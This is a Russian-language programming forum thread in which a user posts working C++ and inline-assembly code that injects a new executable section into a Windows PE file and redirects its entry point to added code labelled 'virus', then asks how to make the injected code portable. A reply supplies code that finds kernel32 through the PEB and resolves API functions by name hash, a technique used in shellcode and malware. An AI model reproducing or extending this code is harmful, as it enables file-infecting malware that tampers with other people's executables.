
![]() |
Наши проекты:
Журнал · Discuz!ML · Wiki · DRKB · Помощь проекту |
|
ПРАВИЛА | FAQ | Помощь | Поиск | Участники | Календарь | Избранное | RSS |
[216.73.216.7] |
![]() |
|
Сообщ.
#1
,
|
|
|
как сделать чтобы exe после мой модификации работал и на др винде? понимаю что надо вызывать вместо mov ebx,7e3a07eah и call ebx функцию из таблици импорта. но как это сделать?
также если нету в таблице импорта оригинального файла необходимой функции как ее туда добавить? в инете искал, встречались протекторы которые формируют новую свой таблицу. ![]() ![]() void ProcessPE(CString strPathName) { //Modify file attributes to archive, or read-only files will be encountered an error DWORD dwOldFileAttr = GetFileAttributes(strPathName); SetFileAttributes(strPathName, FILE_ATTRIBUTE_ARCHIVE); //Open the file and read into the 10K, 10K enough to contain all the head HANDLE hFile = CreateFile(strPathName, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, NULL); char *pBuffer = new char[10240]; DWORD dwRead; ReadFile(hFile, pBuffer, 10240, &dwRead, NULL); //Get the first head of DOS and NT head pointer IMAGE_DOS_HEADER *pDosHeader=(IMAGE_DOS_HEADER *)pBuffer; IMAGE_NT_HEADERS32 *pNtHeaders = (IMAGE_NT_HEADERS32 *)(pBuffer + pDosHeader->e_lfanew); //Modify some of the data head UINT dwAddedCodeLen,dwAddedCodeBegin,dwIntervalOfJmp,dwIntervalOfString; __asm { push eax mov eax,offset CODEEND sub eax,offset CODEBEGIN mov dwAddedCodeLen,eax mov eax,offset TOOLDENTRY sub eax,offset CODEBEGIN mov dwIntervalOfJmp,eax mov eax,offset STRING sub eax,offset CODEBEGIN mov dwIntervalOfString,eax pop eax mov dwAddedCodeBegin,offset CODEBEGIN } pNtHeaders->FileHeader.NumberOfSections++; pNtHeaders->OptionalHeader.SizeOfCode += Align(dwAddedCodeLen, pNtHeaders->OptionalHeader.SectionAlignment); pNtHeaders->OptionalHeader.SizeOfImage += Align(dwAddedCodeLen, pNtHeaders->OptionalHeader.SectionAlignment); //Add new IMAGE_SECTION_HEADER not be the last before the pointer IMAGE_SECTION_HEADER IMAGE_SECTION_HEADER *pLastSecHeader = (IMAGE_SECTION_HEADER *)((char *)pNtHeaders+ sizeof(IMAGE_NT_HEADERS32)+ (pNtHeaders->FileHeader.NumberOfSections-2)*sizeof(IMAGE_SECTION_HEADER)); //Get newly added pointer IMAGE_SECTION_HEADER IMAGE_SECTION_HEADER *pNewSecHeader = pLastSecHeader + 1; //Fill in some of the new data IMAGE_SECTION_HEADER pNewSecHeader->PointerToRawData = pLastSecHeader->PointerToRawData + pLastSecHeader->SizeOfRawData; pNewSecHeader->SizeOfRawData = Align(dwAddedCodeLen, pNtHeaders->OptionalHeader.FileAlignment); pNewSecHeader->VirtualAddress = pLastSecHeader->VirtualAddress+ Align(pLastSecHeader->Misc.VirtualSize, pNtHeaders->OptionalHeader.SectionAlignment); pNewSecHeader->Misc.VirtualSize = dwAddedCodeLen; pNewSecHeader->Characteristics = IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE; lstrcpy((char *)(pNewSecHeader->Name), ".acode"); //Record and modify the original entrance DWORD dwOldEntry = pNtHeaders->OptionalHeader.AddressOfEntryPoint; pNtHeaders->OptionalHeader.AddressOfEntryPoint = pNewSecHeader->VirtualAddress; //Location to the new section should be the beginning of the location and write SetFilePointer(hFile, pNewSecHeader->PointerToRawData, NULL, FILE_BEGIN); DWORD dw; WriteFile(hFile, (const void *)dwAddedCodeBegin, pNewSecHeader->Misc.VirtualSize, &dw, NULL); //Add a new location to post documents and set the end of the final mark SetFilePointer(hFile, pNewSecHeader->PointerToRawData+pNewSecHeader->SizeOfRawData, NULL, FILE_BEGIN); SetEndOfFile(hFile); //Navigate to the file and write the beginning of a new head SetFilePointer(hFile, 0, NULL, FILE_BEGIN); WriteFile(hFile, (const void *)pDosHeader, pNtHeaders->OptionalHeader.SizeOfHeaders, &dw, NULL); //Code in the new Department of jmp instructions fill orders unsigned char c = 0xe9; //0xe9 is the instruction opcode transfer SetFilePointer(hFile, pNewSecHeader->PointerToRawData + dwIntervalOfJmp, NULL, FILE_BEGIN); WriteFile(hFile, &c, 1, &dw, NULL); DWORD dwNewEntry = dwOldEntry - (pNewSecHeader->VirtualAddress + dwIntervalOfJmp + 5); SetFilePointer(hFile, pNewSecHeader->PointerToRawData + dwIntervalOfJmp + 1, NULL, FILE_BEGIN); WriteFile(hFile, &dwNewEntry, 4, &dw, NULL); //Add the code in the new Office, fill in the string string SetFilePointer(hFile, pNewSecHeader->PointerToRawData + dwIntervalOfString, NULL, FILE_BEGIN); WriteFile(hFile, "virus", 6, &dw, NULL); SetFilePointer(hFile, pNewSecHeader->PointerToRawData + dwIntervalOfString + 6, NULL, FILE_BEGIN); WriteFile(hFile, "really run the program?", 24, &dw, NULL); //Modify the new code section 2 of push operand instructions DWORD dwCaptionAddress = pNtHeaders->OptionalHeader.ImageBase + pNewSecHeader->VirtualAddress + dwIntervalOfString; //need is a virtual address, it increases with load-based site RVA SetFilePointer(hFile, pNewSecHeader->PointerToRawData + 3, NULL, FILE_BEGIN); WriteFile(hFile, &dwCaptionAddress, 4, &dw, NULL); //Modify the new code in the first three operand instructions push DWORD dwTextAddress = pNtHeaders->OptionalHeader.ImageBase + pNewSecHeader->VirtualAddress + dwIntervalOfString + 6; SetFilePointer(hFile, pNewSecHeader->PointerToRawData + 8, NULL, FILE_BEGIN); WriteFile(hFile, &dwTextAddress, 4, &dw, NULL); delete []pBuffer; CloseHandle(hFile); SetFileAttributes(strPathName, dwOldFileAttr); return; __asm { CODEBEGIN: push 4 //4 that is MB_YESNO push 300 //operand must be greater than 255, otherwise the compiler will use 2-byte push instruction, and we need to push the 5-byte instruction push 300 //ditto push 0 //mov ebx,77d5050bh //This figure is MessageBoxA () import address from GetProcAddress () to obtain mov ebx,7e3a07eah call ebx //CALL DS:MessageBoxA cmp eax,6 //6 that is IDYES je TOOLDENTRY ret TOOLDENTRY: //Jmp instructions to set aside five bytes of space, the first is the operation code, the latter four are offset Jump nop nop nop nop nop STRING: //6 bytes left, ready to fill the string "virus" nop nop nop nop nop nop //24 bytes set aside, ready to fill the string "really run the program?" nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop CODEEND: } } зарание спасибо!!! |
Сообщ.
#2
,
|
|
|
LoadLibrary + GetProcAddress
http://wasm.ru http://cracklab.ru/ |
Сообщ.
#3
,
|
|
|
elsuk
Вообще вы не по адресу, вам в asm. пс. делать это руками будете долго и сложно. Лучше дисасембл. -> добавить ф-цю -> Компилить. |
Сообщ.
#4
,
|
|
|
Цитата Alexandoros @ LoadLibrary + GetProcAddress в том и дело что так не получится, к примеру запускаю я свою прогу на XP, получаю адрсс MessageBoxA, добавляю код к какому-то exe и получится что мой добавленный код будет работать только на XP с такимже SP что и у меня, если измененный exe запустить на висте то он выдась тип по такомото адресу нет функции(( поэтому надо привязыватся к таблице импорта. а как это сделать хз. также можно хранить имена функций и затем на asm написать получени адреса через связку LoadLibrary GetProcAddress но опять естьли эти функции в таблице импорта exe и как к ним обратится? |
Сообщ.
#5
,
|
|
|
По ссылкам есть описания формата ПЕ. Добавление/изменение секции импорта, после прочтения доки о формате не составит труда.
|
Сообщ.
#6
,
|
|
|
Базово-независимый код, он же адресно-независимый код, он же позиционно-независимый код, он же Position-independent code и так далее...
В помощь по теме elsuk ![]() http://www.wasm.ru/forum/viewtopic.php?id=13518 http://www.wasm.ru/article.php?article=green2red03 http://www.xakep.ru/magazine/xs/048/064/1.asp Добавлено Можно кстати и без таблицы импорта... Избитый сетевой пример ![]() ![]() ![]() #include <windows.h> #pragma comment(linker,"/ENTRY:WinMain") template <DWORD h, DWORD hash, class A> inline LPVOID pushargEx(A a1) { typedef LPVOID (WINAPI *newfunc)(A); newfunc func = (newfunc)GetProcAddressEx(h, hash); return func(a1); } template <DWORD h, DWORD hash, class A, class B, class C, class D> inline LPVOID pushargEx(A a1, B a2, C a3, D a4) { typedef LPVOID (WINAPI *newfunc)(A, B, C, D); newfunc func = (newfunc)GetProcAddressEx(h, hash); return func(a1,a2,a3,a4); } #define GLoadLibraryA pushargEx<1, 0xC8AC8026> #define GMessageBoxA pushargEx<2, 0xABBC680D> inline DWORD CalcHash(char *str) { DWORD hash = 0; char* copystr = str; while(*copystr) { hash = ((hash << 7) & (DWORD)(-1))|(hash >> (32-7)); hash = hash^(*copystr); copystr++; } return hash; } inline HMODULE GetKernel32(void) { __asm { mov eax,dword ptr fs:[30h] mov eax,dword ptr [eax+0ch] mov esi,dword ptr [eax+1ch] lodsd mov eax,dword ptr [eax+08h] } } #define RVATOVA(base, offset) ((DWORD)base + (DWORD)offset) LPVOID GetProcAddressEx(DWORD dwModule, DWORD dwProcNameHash) { HMODULE hModule; char user32_dll[]={'u','s','e','r','3','2',0}; switch (dwModule) { case 1: hModule = GetKernel32(); break; case 2: hModule = (HMODULE)GLoadLibraryA(user32_dll); break; default: return 0; } PIMAGE_OPTIONAL_HEADER poh = (PIMAGE_OPTIONAL_HEADER) ((char*)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER)); PIMAGE_EXPORT_DIRECTORY ped = (IMAGE_EXPORT_DIRECTORY*)RVATOVA(hModule, poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); int nOrdinal; if (HIWORD((DWORD)dwProcNameHash) == 0) { nOrdinal = (LOWORD((DWORD)dwProcNameHash)) - ped->Base; } else { DWORD *pdwNamePtr = (DWORD*)RVATOVA(hModule, ped->AddressOfNames); WORD *pwOrdinalPtr = (WORD*)RVATOVA(hModule, ped->AddressOfNameOrdinals); for (unsigned int i = 0; i < ped->NumberOfNames; i++, pdwNamePtr++, pwOrdinalPtr++) { if (CalcHash((char*)RVATOVA(hModule, *pdwNamePtr)) == dwProcNameHash) { nOrdinal = *pwOrdinalPtr; break; } } if (i == ped->NumberOfNames) return 0; } PDWORD pAddrTable = (PDWORD)RVATOVA(hModule, ped->AddressOfFunctions); DWORD dwRVA = pAddrTable[nOrdinal]; DWORD ret = (DWORD)RVATOVA(hModule, dwRVA); return (LPVOID)ret; } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { char str[]={'s','h','i','t',0}; GMessageBoxA(0, str, str, 0); return 0; } |